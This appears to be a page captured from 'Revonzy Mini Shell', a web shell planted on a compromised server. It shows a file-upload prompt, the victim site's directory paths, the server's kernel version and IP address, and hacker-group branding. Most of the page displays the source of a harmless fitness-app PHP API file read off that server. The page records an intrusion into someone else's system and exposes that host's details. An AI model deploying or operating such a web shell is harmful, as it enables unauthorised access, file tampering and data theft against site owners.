Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/bprisk.online/strongergenadmin/api/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/bprisk.online/strongergenadmin/api/day-excercise-list.php

<?php
	require_once("../lib/function.php");
	$db = new login_function();
	
	$response = array();
	
	if(isset($_POST['category_id']))
	{
		$category_id     = $_POST['category_id'];
		$level_id     	 = $_POST['level_id'];
		$week_id 		 = $_POST['week_id'];
		$day_id          = $_POST['day_id'];
		
		/*
		$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "$category_id \n $level_id \n $week_id \n $day_id";
fwrite($myfile, $txt);
fclose($myfile);*/
		
		$array_data_main    =   array();
		
		$excercise_data =   array();
		$excercise_data =   $db->get_day_exercise_report_from_search_criteria($category_id,$level_id,$week_id,$day_id);
	
	    if(!empty($excercise_data))
	    {
	        $im_counter = 1;
	        foreach($excercise_data as $main_record)
	        {
	            //$array_data_main[$im_counter] =   $main_record;
	            //$array_data_main[$im_counter]['excercise_data'] =   $main_record;
	            
	             if (is_array($array_data_main)) {
                    array_push($array_data_main,$main_record);
                }
                else
                {
                    $array_data_main = $main_record;
                }
	            
	            $im_counter++;
	        }
	        //array_push($array_data_main,$excercise_data);
	        $response["status"] = 1;
            $response["message"] = $array_data_main;
	    }
	    else
	    {
	        $response["status"] = 0;
            $response["message"] = "No Excercise Data Found";
	    }
	}
	else
	{
	    $response["status"] = 0;
        $response["message"] = "No Key Found";
	}
	
    echo json_encode($response);
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4